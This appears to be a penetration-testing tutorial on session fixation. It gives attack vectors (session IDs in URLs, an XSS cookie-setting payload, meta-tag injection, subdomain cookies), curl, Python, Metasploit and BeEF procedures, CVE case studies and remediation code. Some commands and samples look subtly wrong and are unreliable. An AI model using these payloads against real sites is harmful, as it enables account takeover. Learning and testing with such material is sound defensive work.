Session fixation is a vulnerability that allows an attacker to force a user to use a session ID known to the attacker, enabling account takeover after the victim authenticates . This document provides a complete, step-by-step methodology for testing and exploiting this vulnerability using real-world techniques and tools.
- Understanding Session Fixation
- Prerequisites and Setup
- Complete Testing Methodology
- Exploitation Techniques
- Real-World Examples and Case Studies
- Tool-Specific Guides
- Framework-Specific Testing
- Automation and Scripting
- Reporting and Remediation
A web application is vulnerable to session fixation when it authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user . The core issue is that the application accepts a session identifier from an untrusted source and fails to regenerate it upon authentication .
Phase 1 - Session Set-up: The attacker obtains a valid session ID from the target website without authenticating .
Phase 2 - Session Fixation: The attacker forces the victim's browser to use this known session ID using various techniques .
Phase 3 - Session Entrance: The victim authenticates to the application. If the session ID remains unchanged, the attacker can use the known ID to access the victim's authenticated session .
Session fixation is not a class of session hijacking. Session hijacking steals an established session after the user logs in, while session fixation fixes an established session on the victim's browser before the user logs in .
| Component | Requirement |
|---|---|
| Attacker Machine | Kali Linux, Windows with Burp Suite, or any system with proxy tools |
| Victim Simulation | Separate browser (Chrome incognito, Firefox private window) or different machine |
| Target Application | Web application requiring authentication |
| Network | Ability to intercept HTTP/HTTPS traffic |
Primary Tools:
- Burp Suite Professional/Community - For intercepting, modifying requests, and checking session cookie attributes
- OWASP ZAP - Similar to Burp Suite, with automated session-related vulnerability checks
- Browser Developer Tools - For cookie inspection and manipulation
Secondary Tools:
- Wireshark - For sniffing network traffic and capturing session tokens over HTTP
- BeEF - For exploiting XSS to manipulate session tokens through JavaScript
- Metasploit - For session hijacking and post-exploitation tasks
- OWASP Juice Shop - Vulnerable web application for practice
- DVWA (Damn Vulnerable Web Application) - Another practice environment
- vm_1 vulnerable virtual machine - Contains applications for testing session fixation
Before testing for session fixation, gather information about how the application manages sessions :
# Step 1: Review session cookies
# Using curl to see initial cookie settings
curl -v -c - https://target.com/login 2>&1 | grep -i "set-cookie"
# Step 2: Examine response headers
curl -I https://target.com/loginWhat to look for:
- Session cookie names (JSESSIONID, PHPSESSID, sessionid, etc.)
- Cookie attributes (HttpOnly, Secure, SameSite)
- Whether session ID appears in URLs
- Session lifecycle behavior
Step 1: Obtain a pre-authentication session ID
Using Burp Suite or browser developer tools:
- Navigate to the target application's login page
- Intercept the request/response
- Record the session cookie value set by the server
Example response showing session cookie :
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Path=/; secure
Step 2: Attempt to fix the session on a victim browser
Open a separate browser instance (incognito/private mode) to simulate a victim:
Using browser developer tools:
- Open Developer Tools (F12)
- Navigate to Application/Storage tab
- Add/Edit the session cookie to match the attacker's value
- Refresh the page
Using cURL:
# Set custom cookie value
curl -b "JSESSIONID=attacker_value" https://target.com/loginStep 3: Authenticate as victim
In the victim browser instance:
- Log in with valid credentials
- Observe if the session cookie changes after authentication
Step 4: Verify vulnerability
In the attacker's original browser:
- Refresh the page
- Check if you are now logged in as the victim
- Attempt to access authenticated pages
Using Burp Sequencer:
- Capture a login request
- Send to Sequencer
- Analyze session cookie randomness
Using Burp Repeater for Fixation Test:
- Capture a pre-authentication request with session cookie
- Send to Repeater
- Modify parameters to attempt login
- Check response for session regeneration
ZAP provides automated session management testing :
- Run ZAP's automated scan
- Review "Session Management" alerts
- Use ZAP's "Replay" functionality for manual testing
The OWASP Web Security Testing Guide provides this structured approach for testing session fixation :
Test with Forced Cookies:
- Reach the login page of the website
- Save a snapshot of the cookie jar before logging in
- Login as the victim and reach a page requiring authentication
- Set the cookie jar back to the pre-login snapshot
- Trigger a secure function that requires authentication
- Observe if the operation succeeds - if yes, the attack was successful
Two-Account Testing Method: Using two different machines or browsers for victim and attacker reduces false positives, especially if the application does fingerprinting .
This technique involves sending the session ID as a URL parameter .
Attack Vector:
https://target.com/login?PHPSESSID=attacker_session
https://target.com/login?JSESSIONID=attacker_session
https://target.com/login;jsessionid=attacker_session
How to Exploit:
- Attacker visits the login page and obtains or crafts a session ID
- Attacker creates a malicious link with the session ID in the URL
- Victim clicks the link
- Victim logs in using the fixed session
- Attacker uses the same URL or cookie to access victim's account
Real-World Example: Schneider Electric EcoStruxure Power Monitoring Expert allowed attackers to set a session ID in advance via the login URL. An attacker could send a crafted link containing a predefined session ID to a victim, and when the victim logged in using that link, the attacker could use the same session ID to access the authenticated session.
This technique uses cross-site scripting to set a cookie value .
Attack Vector:
http://website.com/<script>document.cookie="sessionid=abcd";</script>How to Exploit:
- Find an XSS vulnerability on the target site
- Craft a payload that sets the session cookie to the attacker's value
- Deliver the malicious link to the victim
- When the victim clicks and logs in, the attacker can hijack the session
Real-World Example: CVE-2024-7053 in open-webui version 0.3.8 allowed session fixation through markdown image injection. An attacker with a user-level account could embed a malicious markdown image in a chat. When viewed by an administrator, it sent the admin's session cookie to the attacker's server, leading to administrator account takeover and potential remote code execution .
This technique uses HTML meta tags to set cookies and is more reliable than JavaScript because meta tags cannot be disabled by browser settings .
Attack Vector:
<meta http-equiv="Set-Cookie" content="sessionid=abcd">How to Exploit:
- Find an HTML injection vulnerability
- Inject the meta tag into the page
- The victim's browser processes the meta tag and sets the cookie
- After victim authentication, attacker uses the known session ID
This method manipulates the server response to insert a Set-Cookie header .
Attack Vector:
Set-Cookie: sessionid=attacker_session
How to Exploit:
- Find an HTTP response splitting or header injection vulnerability
- Intercept server responses and add the Set-Cookie header
- The victim's browser receives and processes the malicious cookie
If the attacker controls a subdomain, they can set cookies for the parent domain.
Attack Vector:
// On attacker-controlled subdomain
document.cookie = "sessionid=attacker_session; domain=.target.com; path=/"Attack Vector:
<img src="https://target.com/page?sessionid=attacker_session">Vulnerability: Session fixation in GLPI IT asset management software when remote authentication via SSO was enabled.
Affected Versions: 0.71 through 10.0.22 and 11.0.0 through 11.0.4
Exploitation Scenario:
- A legitimate user authenticated to GLPI via SSO on a shared workstation
- The user's session artifacts persisted after they finished working
- An attacker with physical access to the same machine authenticated and accessed the previous user's session data
- The attacker gained the permissions of the victim user
Fix: Patched in versions 10.0.23 and 11.0.5
Vulnerability: Does not invalidate session after browser closure, allowing an authenticated user to impersonate another user .
Affected Versions: 6.1.0, 6.2.0, and 6.3.0
Impact: An authenticated user could impersonate another user on the system .
Vulnerability: Session fixation in firmware prior to XL1000C500 XLWebExe-2-01-00.
Impact: An attacker could establish a new user session without invalidating existing session identifiers, enabling authenticated session theft.
CVSS Score: 6.0 (MEDIUM)
Vulnerability: Session fixation in versions 9.5, 9.7, 10.0, and 10.1.
Impact: Remote attackers could hijack web sessions and bypass authentication.
Vulnerability: In OliveTin versions prior to 3000.11.1, although the browser cookie was cleared upon logout, the corresponding session remained valid in server storage until expiry (default approximately one year).
Impact: An attacker with a previously captured session cookie could continue authenticating after the victim logged out.
Vulnerability: Enabled unauthenticated password reset via session fixation combined with CAPTCHA bypass.
Impact: Required only basic HTTP requests (using cURL) and was accessible to low-skilled attackers.
Vulnerability: Session cookie set with SameSite=Lax and without Secure flag, allowing session cookie to be sent over HTTP to a cross-origin domain .
Exploitation: Attacker embeds malicious markdown image in a chat. When viewed by an administrator, the admin's session cookie is sent to the attacker's server .
Impact: Stealthy administrator account takeover, potentially resulting in remote code execution due to elevated privileges .
Setup:
- Configure browser to use Burp proxy (127.0.0.1:8080)
- Install Burp's CA certificate for HTTPS interception
Testing Steps:
-
Map the application:
- Browse the application manually
- Use Spider or Crawler to discover all endpoints
-
Identify session parameters:
- Use "Search" feature to find cookie names
- Check for session IDs in URL parameters
-
Test for fixation manually:
a. Send a request to the login page to Repeater b. Change the session cookie value to "test123" c. Send the request and observe if the server accepts it d. Send a login request with the same modified cookie e. Check if the session ID changes after login -
Use Intruder for brute force testing:
- Set payload position for session cookie value
- Test with different values to see if any are accepted
-
Use Sequencer for randomness analysis:
- Capture multiple session tokens
- Analyze entropy and predictability
Burp Suite Extensions:
- SessionFixationDetector - Custom extension for detecting fixation
- CookieDecryptor - For decrypting encoded session tokens
Automated Testing:
- Launch ZAP and configure browser proxy
- Use "Automated Scan" with the target URL
- Review "Session Management" alerts in the report
Manual Testing with ZAP:
- Use "Manual Explore" to browse the application
- Open "History" tab and locate login requests
- Right-click and select "Open in Replay"
- Modify session cookies and resend
- Use "Compare" function to see response differences
ZAP Scripting:
// ZAP JavaScript script to test session fixation
function testSessionFixation(loginUrl, sessionValue) {
// Set session cookie
// Attempt login
// Verify session regeneration
}Obtain pre-auth session:
# Get initial session
curl -c preauth.txt https://target.com/login
# View cookie
cat preauth.txtTest URL parameter fixation:
# Test if session accepted in URL
curl -v "https://target.com/login?PHPSESSID=attacker123"Complete fixation test:
# Step 1: Attacker gets session
curl -c attacker_cookies.txt https://target.com/login
# Step 2: Extract session ID
SESSION_ID=$(grep -oP 'sessionid=\K[^;]+' attacker_cookies.txt)
# Step 3: Victim logs in with fixed session
curl -b "sessionid=$SESSION_ID" -c victim_cookies.txt -X POST \
-d "username=victim&password=pass" https://target.com/login
# Step 4: Check if session changed
diff attacker_cookies.txt victim_cookies.txtTest with different session ID formats:
# Test uppercase, lowercase, numeric only
for sess in "test123" "TEST123" "123456"; do
curl -b "sessionid=$sess" https://target.com/login
doneMetasploit can be used for post-exploitation after successful fixation :
# msfconsole
use auxiliary/admin/http/session_fixation
set RHOSTS target.com
set SESSION_ID attacker_session
set METHOD cookie
runBeEF (Browser Exploitation Framework) can inject session cookies through hooked browsers :
- Hook the victim's browser using BeEF
- Use the "Create Cookie" command module
- Set the session cookie to the attacker's value
- Wait for victim authentication
Vulnerable Pattern: Using j_security_check without invalidating the existing session .
Vulnerable Code Example:
private void auth(LoginContext lc, HttpSession session) throws LoginException {
lc.login(); // No session invalidation before authentication
}Test Method:
- Obtain JSESSIONID from any page
- Send victim to
https://target.com/login;jsessionid=attacker_value - After login, check if JSESSIONID changed
Secure Code:
private void auth(LoginContext lc, HttpSession session) throws LoginException {
session.invalidate(); // Invalidate old session
HttpSession newSession = request.getSession(true);
lc.login();
}Testing URL Parameters:
https://target.com/login.php?PHPSESSID=attacker_value
Testing Cookie Settings:
# Check session configuration via phpinfo
curl https://target.com/phpinfo.php | grep -i "session"Characteristics:
- Session ID typically 24 characters
- URL parameter:
(S(sessionid))in URLs
Test Vectors:
https://target.com/login.aspx?(S(attacker_value))
Session Cookie Name: _application-name_session
Test Approach:
# Test if session ID in URL is accepted
curl -b "_app_session=attacker" https://target.com/login
# Check session store configuration
curl https://target.com/config/initializers/session_store.rb#!/usr/bin/env python3
import requests
import sys
def test_session_fixation(target_url, login_data):
"""
Automated session fixation test
"""
session = requests.Session()
# Step 1: Get initial session
print("[*] Getting initial session...")
resp = session.get(f"{target_url}/login")
initial_cookie = session.cookies.get_dict()
print(f"[+] Initial session cookie: {initial_cookie}")
# Step 2: Try to set custom session
print("[*] Attempting to set custom session ID...")
custom_session = {"sessionid": "attacker_fixed_session"}
session.cookies.update(custom_session)
# Step 3: Attempt login
print("[*] Attempting login with fixed session...")
resp = session.post(f"{target_url}/login", data=login_data)
# Step 4: Check session after login
post_login_cookie = session.cookies.get_dict()
print(f"[+] Post-login cookie: {post_login_cookie}")
# Step 5: Verify if vulnerable
if post_login_cookie.get("sessionid") == "attacker_fixed_session":
print("[!] VULNERABLE: Session ID did not change after login")
return True
else:
print("[+] NOT VULNERABLE: Session ID was regenerated")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python session_fixation_test.py <target_url>")
sys.exit(1)
target = sys.argv[1]
credentials = {"username": "test", "password": "test"}
test_session_fixation(target, credentials)For testing session regeneration:
- Position payload marker in session cookie value
- Use payload type: "Simple list"
- Add test values: "test123", "attacker", "fixed", "12345"
- Set grep option to match "Set-Cookie"
- Analyze responses for session regeneration
from zapv2 import ZAPv2
zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'})
# Access the target
zap.urlopen('https://target.com/login')
# Spider the target
zap.spider.scan('https://target.com/login')
# Run active scan including session checks
zap.ascan.scan('https://target.com/login', scan_policy_name='Session Management')Use this checklist during testing:
| Indicator | Test Method | Vulnerable If |
|---|---|---|
| Session ID unchanged after login | Compare pre/post-auth cookies | Same value |
| Session accepted via URL | Browse with session in URL | Session is maintained |
| No HttpOnly flag | Check Set-Cookie header | Flag missing |
| Broad cookie domain | Check domain attribute | Domain is .target.com |
| Long session timeout | Monitor session expiry | > 24 hours |
| Predictable session ID | Analyze pattern | Sequential/weak entropy |
Quick Test Command:
# Complete test in one line
curl -c - -b "sessionid=test" -X POST -d "user=test&pass=test" https://target.com/login | grep -i "set-cookie"When reporting a session fixation vulnerability, include:
- Vulnerability Description: CWE-384 (Session Fixation)
- Attack Vector: How the session was fixed
- Steps to Reproduce: Detailed reproduction steps
- Proof of Concept: Screenshots or curl commands
- Impact Assessment: Account takeover potential
- CVSS Score: Based on attack complexity and impact
Primary Fix: Regenerate session ID after successful authentication
Implementation Examples:
Java/J2EE:
session.invalidate();
HttpSession newSession = request.getSession(true);PHP:
session_regenerate_id(true);ASP.NET:
Session.Abandon();
Response.Cookies.Add(new HttpCookie("ASP.NET_SessionId", ""));Additional Mitigations :
- Use
HttpOnlyandSecureflags on session cookies - Implement
SameSite=StrictorLax - Reject session IDs from URL parameters
- Implement short session timeouts
- Add
__Host-or__Secure-prefix to cookie names
After remediation, verify the fix:
# Test that session changes on login
curl -c pre.txt https://target.com/login
curl -b pre.txt -c post.txt -X POST -d "user=test&pass=test" https://target.com/login
diff pre.txt post.txt
# Should show different session values# Basic fixation test
curl -c - -b "sessionid=attacker" -X POST -d "user=victim&pass=password" https://target.com/login
# Check cookie security
curl -sI https://target.com/login | grep -i "set-cookie"
# Test URL parameter fixation
curl -b "sessionid=test" "https://target.com/login?sessionid=test"
# Test subdomain cookie
curl -b "sessionid=attacker; domain=.target.com" https://target.com/login| Framework | Default Cookie Name |
|---|---|
| Java/J2EE | JSESSIONID |
| PHP | PHPSESSID |
| ASP.NET | ASP.NET_SessionId |
| Ruby on Rails | _appname_session |
| Django | sessionid |
| Express/Node | connect.sid |
- OWASP Testing Guide: Testing for Session Fixation (WSTG-SESS-03)
- CWE-384: Session Fixation
- OWASP Session Fixation Attack Description
- Kali Linux Web Penetration Testing Cookbook